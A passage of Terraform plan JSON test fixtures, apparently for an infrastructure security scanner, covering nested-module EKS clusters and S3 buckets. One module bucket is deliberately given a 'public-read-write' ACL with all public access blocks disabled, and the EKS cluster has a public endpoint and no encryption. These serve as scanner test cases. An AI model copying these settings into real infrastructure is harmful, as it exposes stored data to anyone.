\"mode\":\"managed\",\n          \"type\":\"aws_eks_cluster\",\n          \"name\":\"cluster\",\n          \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n          \"change\":{\n             \"actions\":[\n                \"create\"\n             ],\n             \"before\":null,\n             \"after\":{\n                \"enabled_cluster_log_types\":[\n                   \"api\",\n                   \"audit\"\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"name\":\"test\",\n                \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                \"tags\":null,\n                \"timeouts\":null,\n                \"vpc_config\":[\n                   {\n                      \"endpoint_private_access\":false,\n                      \"endpoint_public_access\":true,\n                      \"security_group_ids\":null,\n                      \"subnet_ids\":[\n                         \"10.165.77.0/24\"\n                      ]\n                   }\n                ]\n             },\n             \"after_unknown\":{\n                \"arn\":true,\n                \"certificate_authority\":true,\n                \"created_at\":true,\n                \"enabled_cluster_log_types\":[\n                   false,\n                   false\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"endpoint\":true,\n                \"id\":true,\n                \"identity\":true,\n                \"kubernetes_network_config\":true,\n                \"platform_version\":true,\n                \"status\":true,\n                \"version\":true,\n                \"vpc_config\":[\n                   {\n                      \"cluster_security_group_id\":true,\n                      \"public_access_cidrs\":true,\n                      \"subnet_ids\":[\n                         false\n                      ],\n                      \"vpc_id\":true\n                   }\n                ]\n             }\n          }\n       }\n    ],\n    \"configuration\":{\n       \"root_module\":{\n          \"module_calls\":{\n             \"child_0\":{\n                \"source\":\"./module\",\n                \"module\":{\n                   \"module_calls\":{\n                      \"child_1_a\":{\n                         \"source\":\"./module\",\n                         \"module\":{\n                            \"resources\":[\n                               {\n                                  \"address\":\"aws_eks_cluster.cluster\",\n                                  \"mode\":\"managed\",\n                                  \"type\":\"aws_eks_cluster\",\n                                  \"name\":\"cluster\",\n                                  \"provider_config_key\":\"child_1_a:aws\",\n                                  \"expressions\":{\n                                     \"enabled_cluster_log_types\":{\n                                        \"constant_value\":[\n                                           \"audit\",\n                                           \"api\"\n                                        ]\n                                     },\n                                     \"name\":{\n                                        \"constant_value\":\"test\"\n                                     },\n                                     \"role_arn\":{\n                                        \"constant_value\":\"arn:aws:iam::12345678912:role/test\"\n                                     },\n                                     \"vpc_config\":[\n                                        {\n                                           \"subnet_ids\":{\n                                              \"constant_value\":[\n                                                 \"10.165.77.0/24\"\n                                              ]\n                                           }\n                                        }\n                                     ]\n                                  },\n                                  \"schema_version\":0\n                               }\n                            ]\n                         }\n                      },\n                      \"child_1_b\":{\n                         \"source\":\"./module\",\n                         \"module\":{\n                            \"resources\":[\n                               {\n                                  \"address\":\"aws_eks_cluster.cluster\",\n                                  \"mode\":\"managed\",\n                                  \"type\":\"aws_eks_cluster\",\n                                  \"name\":\"cluster\",\n                                  \"provider_config_key\":\"child_1_b:aws\",\n                                  \"expressions\":{\n                                     \"enabled_cluster_log_types\":{\n                                        \"constant_value\":[\n                                           \"audit\",\n                                           \"api\"\n                                        ]\n                                     },\n                                     \"name\":{\n                                        \"constant_value\":\"test\"\n                                     },\n                                     \"role_arn\":{\n                                        \"constant_value\":\"arn:aws:iam::12345678912:role/test\"\n                                     },\n                                     \"vpc_config\":[\n                                        {\n                                           \"subnet_ids\":{\n                                              \"constant_value\":[\n                                                 \"10.165.77.0/24\"\n                                              ]\n                                           }\n                                        }\n                                     ]\n                                  },\n                                  \"schema_version\":0\n                               }\n                            ]\n                         }\n                      },\n                      \"child_1_c\":{\n                         \"source\":\"./module\",\n                         \"module\":{\n                            \"resources\":[\n                               {\n                                  \"address\":\"aws_eks_cluster.cluster\",\n                                  \"mode\":\"managed\",\n                                  \"type\":\"aws_eks_cluster\",\n                                  \"name\":\"cluster\",\n                                  \"provider_config_key\":\"child_1_c:aws\",\n                                  \"expressions\":{\n                                     \"enabled_cluster_log_types\":{\n                                        \"constant_value\":[\n                                           \"audit\",\n                                           \"api\"\n                                        ]\n                                     },\n                                     \"name\":{\n                                        \"constant_value\":\"test\"\n                                     },\n                                     \"role_arn\":{\n                                        \"constant_value\":\"arn:aws:iam::12345678912:role/test\"\n                                     },\n                                     \"vpc_config\":[\n                                        {\n                                           \"subnet_ids\":{\n                                              \"constant_value\":[\n                                                 \"10.165.77.0/24\"\n                                              ]\n                                           }\n                                        }\n                                     ]\n                                  },\n                                  \"schema_version\":0\n                               }\n                            ]\n                         }\n                      }\n                   }\n                }\n             }\n          }\n       }\n    }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_nested_child_modules_with_connections/tfplan.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.2.4\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_s3_bucket.root_bucket\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"root_bucket\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"bucket\": \"testing\",\n            \"bucket_prefix\": null,\n            \"force_destroy\": false,\n            \"tags\": null\n          },\n          \"sensitive_values\": {\n            \"cors_rule\": [],\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags_all\": {},\n            \"versioning\": [],\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket_public_access_block.root\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket_public_access_block\",\n          \"name\": \"root\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"block_public_acls\": true,\n            \"block_public_policy\": true,\n            \"ignore_public_acls\": true,\n            \"restrict_public_buckets\": true\n          },\n          \"sensitive_values\": {}\n        }\n      ],\n      \"child_modules\": [\n        {\n          \"resources\": [\n            {\n              \"address\": \"module.s3_bucket.aws_s3_bucket.this[0]\",\n              \"mode\": \"managed\",\n              \"type\": \"aws_s3_bucket\",\n              \"name\": \"this\",\n              \"index\": 0,\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"bucket\": \"my-s3-bucket\",\n                \"bucket_prefix\": null,\n                \"force_destroy\": false,\n                \"object_lock_enabled\": false,\n                \"tags\": null\n              },\n              \"sensitive_values\": {\n                \"cors_rule\": [],\n                \"grant\": [],\n                \"lifecycle_rule\": [],\n                \"logging\": [],\n                \"object_lock_configuration\": [],\n                \"replication_configuration\": [],\n                \"server_side_encryption_configuration\": [],\n                \"tags_all\": {},\n                \"versioning\": [],\n                \"website\": []\n              }\n            },\n            {\n              \"address\": \"module.s3_bucket.aws_s3_bucket_acl.this[0]\",\n              \"mode\": \"managed\",\n              \"type\": \"aws_s3_bucket_acl\",\n              \"name\": \"this\",\n              \"index\": 0,\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"acl\": \"public-read-write\",\n                \"expected_bucket_owner\": null\n              },\n              \"sensitive_values\": {\n                \"access_control_policy\": []\n              }\n            },\n            {\n              \"address\": \"module.s3_bucket.aws_s3_bucket_public_access_block.this[0]\",\n              \"mode\": \"managed\",\n              \"type\": \"aws_s3_bucket_public_access_block\",\n              \"name\": \"this\",\n              \"index\": 0,\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"block_public_acls\": false,\n                \"block_public_policy\": false,\n                \"ignore_public_acls\": false,\n                \"restrict_public_buckets\": false\n              },\n              \"sensitive_values\": {}\n            }\n          ],\n          \"address\": \"module.s3_bucket\"\n        },\n        {\n          \"resources\": [\n            {\n              \"address\": \"module.s3_module.aws_s3_bucket.module_bucket\",\n              \"mode\": \"managed\",\n              \"type\": \"aws_s3_bucket\",\n              \"name\": \"module_bucket\",\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"bucket\": \"testing\",\n                \"bucket_prefix\": null,\n                \"force_destroy\": false,\n                \"tags\": null\n              },\n              \"sensitive_values\": {\n                \"cors_rule\": [],\n                \"grant\": [],\n                \"lifecycle_rule\": [],\n                \"logging\": [],\n                \"object_lock_configuration\": [],\n                \"replication_configuration\": [],\n                \"server_side_encryption_configuration\": [],\n                \"tags_all\": {},\n                \"versioning\": [],\n                \"website\": []\n              }\n            },\n            {\n              \"address\": \"module.s3_module.aws_s3_bucket_public_access_block.module_bucket\",\n              \"mode\": \"managed\",\n              \"type\": \"aws_s3_bucket_public_access_block\",\n              \"name\": \"module_bucket\",\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"block_public_acls\": true,\n                \"block_public_policy\": true,\n                \"ignore_public_acls\": true,\n                \"restrict_public_buckets\": true\n              },\n              \"sensitive_values\": {}\n            }\n          ],\n          \"address\": \"module.s3_module\",\n          \"child_modules\": [\n            {\n              \"resources\": [\n                {\n                  \"address\": \"module.s3_module.module.s3_submodule.aws_s3_bucket.submodule_bucket\",\n                  \"mode\": \"managed\",\n                  \"type\": \"aws_s3_bucket\",\n                  \"name\": \"submodule_bucket\",\n                  \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                  \"schema_version\": 0,\n                  \"values\": {\n                    \"bucket\": \"testing\",\n                    \"bucket_prefix\": null,\n                    \"force_destroy\": false,\n                    \"tags\": null\n                  },\n                  \"sensitive_values\": {\n                    \"cors_rule\": [],\n                    \"grant\": [],\n                    \"lifecycle_rule\": [],\n                    \"logging\": [],\n                    \"object_lock_configuration\": [],\n                    \"replication_configuration\": [],\n                    \"server_side_encryption_configuration\": [],\n                    \"tags_all\": {},\n                    \"versioning\": [],\n                    \"website\": []\n                  }\n                },\n                {\n                  \"address\": \"module.s3_module.module.s3_submodule.aws_s3_bucket_public_access_block.submodule_bucket\",\n                  \"mode\": \"managed\",\n                  \"type\": \"aws_s3_bucket_public_access_block\",\n                  \"name\": \"submodule_bucket\",\n                  \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                  \"schema_version\": 0,\n                  \"values\": {\n                    \"block_public_acls\": true,\n                    \"block_public_policy\": true,\n                    \"ignore_public_acls\": true,\n                    \"restrict_public_buckets\": true\n                  },\n                  \"sensitive_values\": {}\n                }\n              ],\n              \"address\": \"module.s3_module.module.s3_submodule\"\n            }\n          ]\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_s3_bucket.root_bucket\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"root_bucket\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"bucket\": \"testing\",\n          \"bucket_prefix\": null,\n          \"force_destroy\": false,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"acl\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": true,\n          \"grant\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": true,\n          \"logging\": true,\n          \"object_lock_configuration\": true,\n          \"object_lock_enabled\": true,\n          \"policy\": true,\n          \"region\": true,\n          \"replication_configuration\": true,\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": true,\n          \"tags_all\": true,\n          \"versioning\": true,\n          \"website\": true,\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags_all\": {},\n          \"versioning\": [],\n          \"website\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket_public_access_block.root\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket_public_access_block\",\n      \"name\": \"root\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"block_public_acls\": true,\n          \"block_public_policy\": true,\n          \"ignore_public_acls\": true,\n          \"restrict_public_buckets\": true\n        },\n        \"after_unknown\": {\n          \"bucket\": true,\n          \"id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    },\n    {\n      \"address\": \"module.s3_bucket.aws_s3_bucket.this[0]\",\n      \"module_address\": \"module.s3_bucket\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"this\",\n      \"index\": 0,\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"bucket\": \"my-s3-bucket\",\n          \"bucket_prefix\": null,\n          \"force_destroy\": false,\n          \"object_lock_enabled\": false,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"acl\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": true,\n          \"grant\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": true,\n          \"logging\": true,\n          \"object_lock_configuration\": true,\n          \"policy\": true,\n          \"region\": true,\n          \"replication_configuration\": true,\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": true,\n          \"tags_all\": true,\n          \"versioning\": true,\n          \"website\": true,\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags_all\": {},\n          \"versioning\": [],\n          \"website\": []\n        }\n      }\n    },\n    {\n      \"address\": \"module.s3_bucket.aws_s3_bucket_acl.this[0]\",\n      \"module_address\": \"module.s3_bucket\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket_acl\",\n      \"name\": \"this\",\n      \"index\": 0,\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"public-read-write\",\n          \"expected_bucket_owner\": null\n        },\n        \"after_unknown\": {\n          \"access_control_policy\": true,\n          \"bucket\": true,\n          \"id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"access_control_policy\": []\n        }\n      }\n    },\n    {\n      \"address\": \"module.s3_bucket.aws_s3_bucket_public_access_block.this[0]\",\n      \"module_address\": \"module.s3_bucket\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket_public_access_block\",\n      \"name\": \"this\",\n      \"index\": 0,\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"block_public_acls\": false,\n          \"block_public_policy\": false,\n          \"ignore_public_acls\": false,\n          \"restrict_public_buckets\": false\n        },\n        \"after_unknown\": {\n          \"bucket\": true,\n          \"id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    },\n    {\n      \"address\": \"module.s3_module.aws_s3_bucket.module_bucket\",\n      \"module_address\": \"module.s3_module\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"module_bucket\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"bucket\": \"testing\",\n          \"bucket_prefix\": null,\n          \"force_destroy\": false,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"acl\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": true,\n          \"grant\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": true,\n          \"logging\": true,\n          \"object_lock_configuration\": true,\n          \"object_lock_enabled\": true,\n          \"policy\": true,\n          \"region\": true,\n          \"replication_configuration\": true,\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": true,\n          \"tags_all\": true,\n          \"versioning\": true,\n          \"website\": true,\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags_all\": {},\n          \"versioning\": [],\n          \"website\": []\n        }\n      }\n    },\n    {\n      \"address\": \"module.s3_module.aws_s3_bucket_public_access_block.module_bucket\",\n      \"module_address\": \"module.s3_module\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket_public_access_block\",\n      \"name\": \"module_bucket\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"block_public_acls\": true,\n          \"block_public_policy\": true,\n          \"ignore_public_acls\": true,\n          \"restrict_public_buckets\": true\n        },\n        \"after_unknown\": {\n          \"bucket\": true,\n          \"id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    },\n    {\n      \"address\": \"module.s3_module.module.s3_submodule.aws_s3_bucket.submodule_bucket\",\n      \"module_address\": \"module.s3_module.module.s3_submodule\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"submodule_bucket\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"bucket\": \"testing\",\n          \"bucket_prefix\": null,\n          \"force_destroy\": false,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"acl\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": true,\n          \"grant\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": true,\n          \"logging\": true,\n          \"object_lock_configuration\": true,\n          \"object_lock_enabled\": true,\n          \"policy\": true,\n          \"region\": true,\n          \"replication_configuration\": true,\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": true,\n          \"tags_all\": true,\n          \"versioning\": true,\n          \"website\": true,\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags_all\": {},\n          \"versioning\": [],\n          \"website\": []\n        }\n      }\n    },\n    {\n      \"address\": \"module.s3_module.module.s3_submodule.aws_s3_bucket_public_access_block.submodule_bucket\",\n      \"module_address\": \"module.s3_module.module.s3_submodule\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket_public_access_block\",\n      \"name\": \"submodule_bucket\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"block_public_acls\": true,\n          \"block_public_policy\": true,\n          \"ignore_public_acls\": true,\n          \"restrict_public_buckets\": true\n        },\n        \"after_unknown\": {\n          \"bucket\": true,\n          \"id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    }\n  ],\n  \"prior_state\": {\n    \"format_version\": \"1.0\",\n    \"terraform_version\": \"1.2.4\",\n    \"values\": {\n      \"root_module\": {\n        \"child_modules\": [\n          {\n            \"resources\": [\n              {\n                \"address\": \"module.s3_bucket.data.aws_canonical_user_id.this\",\n                \"mode\": \"data\",\n                \"type\": \"aws_canonical_user_id\",\n                \"name\": \"this\",\n                \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                \"schema_version\": 0,\n                \"values\": {\n                  \"display_name\": \"aws-admin-accounts+619572639823\",\n                  \"id\": \"21a5f9b1fa8ae5dc2c10639e5db8652fe3b67fee8c6a4fb229e81831604e80b3\"\n                },\n                \"sensitive_values\": {}\n              }\n            ],\n            \"address\": \"module.s3_bucket\"\n          }\n        ]\n      }\n    }\n  },\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\",\n        \"expressions\": {\n          \"profile\": {\n            \"constant_value\": \"dev2\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-west-2\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_s3_bucket.root_bucket\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"root_bucket\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"bucket\": {\n              \"constant_value\": \"testing\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket_public_access_block.root\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket_public_access_block\",\n          \"name\": \"root\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"block_public_acls\": {\n              \"constant_value\": true\n            },\n            \"block_public_policy\": {\n              \"constant_value\": true\n            },\n            \"bucket\": {\n              \"references\": [\n                \"aws_s3_bucket.root_bucket.id\",\n                \"aws_s3_bucket.root_bucket\"\n              ]\n            },\n            \"ignore_public_acls\": {\n              \"constant_value\": true\n            },\n            \"restrict_public_buckets\": {\n              \"constant_value\": true\n            }\n          },\n          \"schema_version\": 0\n        }\n      ],\n      \"module_calls\": {\n        \"s3_bucket\": {\n          \"source\": \"terraform-aws-modules/s3-bucket/aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"public-read-write\"\n            },\n            \"bucket\": {\n              \"constant_value\": \"my-s3-bucket\"\n            }\n          },\n          \"module\": {\n            \"outputs\": {\n              \"s3_bucket_arn\": {\n                \"expression\": {\n                  \"references\": [\n                    \"aws_s3_bucket.this[0].arn\",\n                    \"aws_s3_bucket.this[0]\",\n                    \"aws_s3_bucket.this\"\n                  ]\n                },\n                \"description\": \"The ARN of the bucket. Will be of format arn:aws:s3:::bucketname.\"\n              },\n              \"s3_bucket_bucket_domain_name\": {\n                \"expression\": {\n                  \"references\": [\n                    \"aws_s3_bucket.this[0].bucket_domain_name\",\n                    \"aws_s3_bucket.this[0]\",\n                    \"aws_s3_bucket.this\"\n                  ]\n                },\n                \"description\": \"The bucket domain name. Will be of format bucketname.s3.amazonaws.com.\"\n              },\n              \"s3_bucket_bucket_regional_domain_name\": {\n                \"expression\": {\n                  \"references\": [\n                    \"aws_s3_bucket.this[0].bucket_regional_domain_name\",\n                    \"aws_s3_bucket.this[0]\",\n                    \"aws_s3_bucket.this\"\n                  ]\n                },\n                \"description\": \"The bucket region-specific domain name. The bucket domain name including the region name, please refer here for format. Note: The AWS CloudFront allows specifying S3 region-specific endpoint when creating S3 origin, it will prevent redirect issues from CloudFront to S3 Origin URL.\"\n              },\n              \"s3_bucket_hosted_zone_id\": {\n                \"expression\": {\n                  \"references\": [\n                    \"aws_s3_bucket.this[0].hosted_zone_id\",\n                    \"aws_s3_bucket.this[0]\",\n                    \"aws_s3_bucket.this\"\n                  ]\n                },\n                \"description\": \"The Route 53 Hosted Zone ID for this bucket's region.\"\n              },\n              \"s3_bucket_id\": {\n                \"expression\": {\n                  \"references\": [\n                    \"aws_s3_bucket_policy.this[0].id\",\n                    \"aws_s3_bucket_policy.this[0]\",\n                    \"aws_s3_bucket_policy.this\",\n                    \"aws_s3_bucket.this[0].id\",\n                    \"aws_s3_bucket.this[0]\",\n                    \"aws_s3_bucket.this\"\n                  ]\n                },\n                \"description\": \"The name of the bucket.\"\n              },\n              \"s3_bucket_region\": {\n                \"expression\": {\n                  \"references\": [\n                    \"aws_s3_bucket.this[0].region\",\n                    \"aws_s3_bucket.this[0]\",\n                    \"aws_s3_bucket.this\"\n                  ]\n                },\n                \"description\": \"The AWS region this bucket resides in.\"\n              },\n              \"s3_bucket_website_domain\": {\n                \"expression\": {\n                  \"references\": [\n                    \"aws_s3_bucket_website_configuration.this[0].website_domain\",\n                    \"aws_s3_bucket_website_configuration.this[0]\",\n                    \"aws_s3_bucket_website_configuration.this\"\n                  ]\n                },\n                \"description\": \"The domain of the website endpoint, if the bucket is configured with a website. If not, this will be an empty string. This is used to create Route 53 alias records.\"\n              },\n              \"s3_bucket_website_endpoint\": {\n                \"expression\": {\n                  \"references\": [\n                    \"aws_s3_bucket_website_configuration.this[0].website_endpoint\",\n                    \"aws_s3_bucket_website_configuration.this[0]\",\n                    \"aws_s3_bucket_website_configuration.this\"\n                  ]\n                },\n                \"description\": \"The website endpoint, if the bucket is configured with a website. If not, this will be an empty string.\"\n              }\n            },\n            \"resources\": [\n              {\n                \"address\": \"aws_s3_bucket.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"references\": [\n                      \"var.bucket\"\n                    ]\n                  },\n                  \"bucket_prefix\": {\n                    \"references\": [\n                      \"var.bucket_prefix\"\n                    ]\n                  },\n                  \"force_destroy\": {\n                    \"references\": [\n                      \"var.force_destroy\"\n                    ]\n                  },\n                  \"object_lock_enabled\": {\n                    \"references\": [\n                      \"var.object_lock_enabled\"\n                    ]\n                  },\n                  \"tags\": {\n                    \"references\": [\n                      \"var.tags\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"aws_s3_bucket_accelerate_configuration.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_accelerate_configuration\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"references\": [\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"expected_bucket_owner\": {\n                    \"references\": [\n                      \"var.expected_bucket_owner\"\n                    ]\n                  },\n                  \"status\": {\n                    \"references\": [\n                      \"var.acceleration_status\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.acceleration_status\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"aws_s3_bucket_acl.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_acl\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"acl\": {\n                    \"references\": [\n                      \"var.acl\",\n                      \"var.acl\"\n                    ]\n                  },\n                  \"bucket\": {\n                    \"references\": [\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"expected_bucket_owner\": {\n                    \"references\": [\n                      \"var.expected_bucket_owner\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.acl\",\n                    \"var.acl\",\n                    \"local.grants\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"aws_s3_bucket_cors_configuration.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_cors_configuration\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"references\": [\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"expected_bucket_owner\": {\n                    \"references\": [\n                      \"var.expected_bucket_owner\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"local.cors_rules\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"aws_s3_bucket_intelligent_tiering_configuration.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_intelligent_tiering_configuration\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"references\": [\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"name\": {\n                    \"references\": [\n                      \"each.key\"\n                    ]\n                  },\n                  \"status\": {\n                    \"references\": [\n                      \"each.value.status\",\n                      \"each.value\",\n                      \"each.value.status\",\n                      \"each.value\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"for_each_expression\": {\n                  \"references\": [\n                    \"local.intelligent_tiering\",\n                    \"local.create_bucket\"\n                  ]\n                }\n              },\n              {\n                \"address\": 